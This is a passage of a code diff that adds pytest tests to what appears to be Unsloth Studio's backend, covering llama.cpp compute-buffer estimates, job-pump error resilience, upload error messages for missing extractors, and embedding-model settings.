est = _backend()._estimate_compute_buffer_bytes() / MIB
assert est < 128
class TestContextLinearBuffer:
"""``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch
grow ~linearly with context; the flat estimate above only covers ctx -> 0.
Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the
worst-case upper bound the term must hold to."""
# (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512)
_MEASURED = [
("Qwen3.5-2B", 2048, 262144, 796),
("Qwen3.5-4B", 2560, 262144, 1330), # worst slope, 2.02 x n_embd
("Qwen3.5-9B", 4096, 262144, 1336),
("Qwen3.6-27B", 5120, 262144, 1360),
("Gemma-4-31B", 5376, 262144, 2392),
]
def test_zero_by_default(self):
# Omitted/zero ctx -> no term (keeps the flat callers unchanged).
assert _backend()._compute_buffer_ctx_bytes(0) == 0
def test_zero_when_embd_missing(self):
assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0
def test_grows_linearly_with_context(self):
b = _backend(embd = 4096)
a = b._compute_buffer_ctx_bytes(65536)
d = b._compute_buffer_ctx_bytes(131072)
assert d == pytest.approx(2 * a, rel = 1e-6)
def test_scales_with_embd(self):
# The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not.
small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
assert big > small
def test_scales_with_ubatch(self):
b = _backend(embd = 4096)
lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256)
hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024)
assert hi > lo
@pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED)
def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured):
# flat term + context-linear term must cover the real (q8_0) buffer at full ctx.
b = _backend(embd = embd)
flat = b._estimate_compute_buffer_bytes(n_parallel = 1)
total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB
assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}"
def test_worst_case_rate_covers_two_x_embd(self):
# >= 2 x n_embd bytes per context token at the default micro-batch (the worst
# measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer.
embd = 4096
b = _backend(embd = embd)
per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000
assert per_tok >= 2 * embd
class TestContextBufferKVQuant:
"""The context-linear rate depends on the KV cache type: a quantized cache adds a
context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light).
Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16)."""
def test_quantized_heavier_than_f16(self):
b = _backend(embd = 4096)
q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
assert q > f
def test_none_cache_type_is_f16(self):
# None -> f16 (llama.cpp's default); the env-quantized case is covered by the
# KV budget's f16 over-reservation, so we take the lighter mask-only rate.
b = _backend(embd = 4096)
assert b._compute_buffer_ctx_bytes(
131072, cache_type_kv = None
) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
@pytest.mark.parametrize("ct", ["f16", "bf16", "f32"])
def test_unquantized_uses_mask_only_rate(self, ct):
# f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd.
b_small = _backend(embd = 2048)
b_big = _backend(embd = 8192)
per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
assert per_small == per_big # no n_embd scaling on the f16 path
expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY # ubatch 512
assert per_small == pytest.approx(expected, rel = 1e-6)
@pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"])
def test_quantized_types_use_heavy_rate(self, ct):
embd = 4096
b = _backend(embd = embd)
per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
assert per_tok == pytest.approx(
LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6
)
def test_f16_covers_measured_mask(self):
# f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the
# measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k).
b = _backend(embd = 2560) # Qwen3.5-4B
est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB
assert est >= 320 # measured 0.31 GiB growth
class TestContextBufferMLA:
"""MLA (compressed attention) needs a smaller quantized dequant scratch than
regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to
2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight
multi-GPU MLA pin (per-device scaling multiplies the error)."""
def test_mla_lighter_than_regular(self):
reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
assert mla < reg
@pytest.mark.parametrize(
"name,embd,ctx,measured",
[
("GLM-5.2", 6144, 754688, 4141), # per-device compute MiB at q8_0
("Kimi-K2.7", 7168, 262144, 1690),
],
)
def test_mla_rate_covers_measured(self, name, embd, ctx, measured):
b = _backend(embd = embd, mla = 256)
est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB
assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}"
def test_mla_not_wildly_over(self):
# 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like
# the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context.
b = _backend(embd = 6144, mla = 256)
est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
assert est <= 4141 * 1.7

152
studio/backend/tests/test_data_recipe_pump_resilience.py Normal file
View file

@ -0,0 +1,152 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Data-recipe job pump resilience.
The pump is the sole consumer of worker events and sole writer of the job
snapshot the status/SSE endpoints read; a handler error must not kill it, or the
job stays wedged "active" and the workflow key is never retired. Fakes only.
"""
from __future__ import annotations
import queue
import sys
import threading
import time
from pathlib import Path
_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
if _BACKEND_DIR not in sys.path:
sys.path.insert(0, _BACKEND_DIR)
from core.data_recipe.jobs.manager import JobManager # noqa: E402
from core.data_recipe.jobs.types import Job # noqa: E402
class _FakeProc:
def __init__(self, alive: bool = True):
self._alive = alive
def is_alive(self):
return self._alive
class _ScriptedQueue:
def __init__(self, events):
self._events = list(events)
def get(self, timeout = None):
if self._events:
return self._events.pop(0)
raise queue.Empty
def get_nowait(self):
if self._events:
return self._events.pop(0)
raise queue.Empty
def _wait_until(predicate, timeout = 5.0):
deadline = time.time() + timeout
while time.time() < deadline:
if predicate():
return True
time.sleep(0.01)
return predicate()
def _manager_with_active_job():
m = JobManager.__new__(JobManager)
m._lock = threading.Lock()
job = Job(job_id = "job-test")
job.status = "active"
m._job = job
m._proc = _FakeProc(alive = True)
m._mp_q = _ScriptedQueue([])
return m
def test_pump_survives_handler_exception_and_still_finalizes(monkeypatch):
m = _manager_with_active_job()
handled: list = []
def fake_handle(job, event):
if event.get("type") == "boom":
raise RuntimeError("malformed log line")
handled.append(event.get("type"))
emitted: list = []
retired: list = []
monkeypatch.setattr(m, "_handle_event", fake_handle)
monkeypatch.setattr(m, "_emit", lambda e: emitted.append(e))
monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
m._mp_q = _ScriptedQueue(
[{"type": "boom"}, {"type": "log"}, {"type": "boom"}, {"type": "progress"}]
)
pump = threading.Thread(target = m._pump_loop, daemon = True)
pump.start()
try:
assert _wait_until(
lambda: handled == ["log", "progress"]
), "pump must keep processing events after a handler raises"
assert pump.is_alive()
finally:
m._proc._alive = False # worker exits -> pump should finalize and stop
pump.join(timeout = 5)
assert not pump.is_alive()
# The exited worker is finalized as error (not left wedged "active") and the
# workflow key is retired despite the earlier handler exceptions.
assert m._job.status == "error"
assert retired and retired[0] is m._job
def test_pump_finalizes_when_drain_raises(monkeypatch):
m = _manager_with_active_job()
monkeypatch.setattr(m, "_emit", lambda e: None)
retired: list = []
monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
class _BadDrainQueue:
def get(self, timeout = None):
raise queue.Empty
def get_nowait(self):
raise RuntimeError("corrupt drain payload")
m._proc = _FakeProc(alive = False)
m._mp_q = _BadDrainQueue()
m._pump_loop() # returns once it sees the dead worker
assert m._job.status == "error"
assert retired and retired[0] is m._job
def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch):
# A read that keeps raising after the child died must not spin the pump
# forever: once the worker is gone it falls through to finalize.
m = _manager_with_active_job()
monkeypatch.setattr(m, "_emit", lambda e: None)
retired: list = []
monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
class _BrokenReadQueue:
def get(self, timeout = None):
raise RuntimeError("broken queue pipe")
def get_nowait(self):
raise queue.Empty
m._proc = _FakeProc(alive = False)
m._mp_q = _BrokenReadQueue()
pump = threading.Thread(target = m._pump_loop, daemon = True)
pump.start()
pump.join(timeout = 5)
assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising"
assert m._job.status == "error"
assert retired and retired[0] is m._job

120
studio/backend/tests/test_data_recipe_seed.py
View file

@ -1,12 +1,126 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import asyncio
import importlib.util
from pathlib import Path
import pytest
def test_seed_inspect_load_kwargs_disables_remote_code_execution():
seed_route = (
def _seed_route_source() -> str:
return (
Path(__file__).resolve().parent.parent / "routes" / "data_recipe" / "seed.py"
).read_text()
assert '"trust_remote_code": False' in seed_route
def test_seed_inspect_load_kwargs_disables_remote_code_execution():
assert '"trust_remote_code": False' in _seed_route_source()
class _FakeUpload:
def __init__(self, filename: str, content: bytes):
self.filename = filename
self._content = content
async def read(self) -> bytes:
return self._content
def _load_seed_route(monkeypatch: pytest.MonkeyPatch, tmp_path: Path):
pytest.importorskip("fastapi")
pytest.importorskip("multipart")
pytest.importorskip("structlog")
backend_root = Path(__file__).resolve().parent.parent
monkeypatch.syspath_prepend(str(backend_root))
route_path = backend_root / "routes" / "data_recipe" / "seed.py"
spec = importlib.util.spec_from_file_location("seed_under_test", route_path)
assert spec is not None and spec.loader is not None
seed_route = importlib.util.module_from_spec(spec)
spec.loader.exec_module(seed_route)
seed_route.UNSTRUCTURED_UPLOAD_ROOT = tmp_path / "unstructured-uploads"
return seed_route
def _run_upload(
seed_route,
filename: str,
content: bytes,
block_id: str = "block",
):
return asyncio.run(
seed_route.upload_unstructured_file(_FakeUpload(filename, content), block_id)
)
def _block_files(seed_route, block_id: str = "block") -> list[str]:
block_dir = seed_route.UNSTRUCTURED_UPLOAD_ROOT / block_id
if not block_dir.exists():
return []
return sorted(path.name for path in block_dir.iterdir())
def _raise(exc: BaseException):
def raise_exc(*args, **kwargs):
raise exc
return raise_exc
@pytest.mark.parametrize(
("filename", "package"),
[
("paper.pdf", "pymupdf4llm"),
("notes.docx", "mammoth"),
],
)
def test_unstructured_upload_names_missing_extractor_dependency(
monkeypatch, tmp_path, filename, package
):
seed_route = _load_seed_route(monkeypatch, tmp_path)
monkeypatch.setattr(
seed_route,
"_extract_text_from_file",
_raise(ModuleNotFoundError(f"No module named {package!r}", name = package)),
)
result = _run_upload(seed_route, filename, b"%PDF-1.7")
assert result.status == "error"
assert (
result.error
== f"Cannot read {Path(filename).suffix} files: the '{package}' package is not installed."
)
assert _block_files(seed_route) == []
def test_unstructured_upload_keeps_txt_path_working(monkeypatch, tmp_path):
seed_route = _load_seed_route(monkeypatch, tmp_path)
result = _run_upload(seed_route, "notes.txt", b"hello")
assert result.status == "ok"
assert result.error is None
assert any(name.endswith(".txt") for name in _block_files(seed_route))
assert any(name.endswith(".extracted.txt") for name in _block_files(seed_route))
@pytest.mark.parametrize(
"exc",
[
ImportError("cannot import internal symbol"),
ModuleNotFoundError(
"No module named 'missing_transitive_pkg'",
name = "missing_transitive_pkg",
),
],
)
def test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, exc):
seed_route = _load_seed_route(monkeypatch, tmp_path)
monkeypatch.setattr(seed_route, "_extract_text_from_file", _raise(exc))
result = _run_upload(seed_route, "paper.pdf", b"%PDF-1.7")
assert result.status == "error"
assert result.error == "Text extraction failed."
assert _block_files(seed_route) == []

55
studio/backend/tests/test_embedding_model_settings.py Normal file
View file

@ -0,0 +1,55 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Test for the customizable RAG embedding model: a saved override becomes the
effective model and derives its GGUF companion for the llama-server backend."""
from pathlib import Path
import sys
import types as _types
_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
if _BACKEND_DIR not in sys.path:
sys.path.insert(0, _BACKEND_DIR)
_loggers_stub = _types.ModuleType("loggers")
_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
sys.modules.setdefault("loggers", _loggers_stub)
import pytest
import utils.embedding_model_settings as ems
from core.rag import config as rag_config
@pytest.fixture
def settings_store(monkeypatch):
"""In-memory app_settings store patched under the module's lazy imports."""
import storage.studio_db as studio_db
store: dict = {}
monkeypatch.setattr(
studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback)
)
monkeypatch.setattr(
studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store
)
ems._invalidate_cache()
yield store
ems._invalidate_cache()
def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch):
"""The core contract: with nothing stored the default is in effect; a saved
custom model becomes the effective embedding model and derives its -GGUF
companion (what the llama-server backend loads); reset clears the override."""
monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False)
assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL
assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO
assert ems.set_rag_embedding_model(" org/my-embedder ") == "org/my-embedder"
assert rag_config.effective_embedding_model() == "org/my-embedder"
assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF"
assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL
assert ems.get_stored_embedding_model() is None

Some files were not shown because too many files have changed in this diff Show more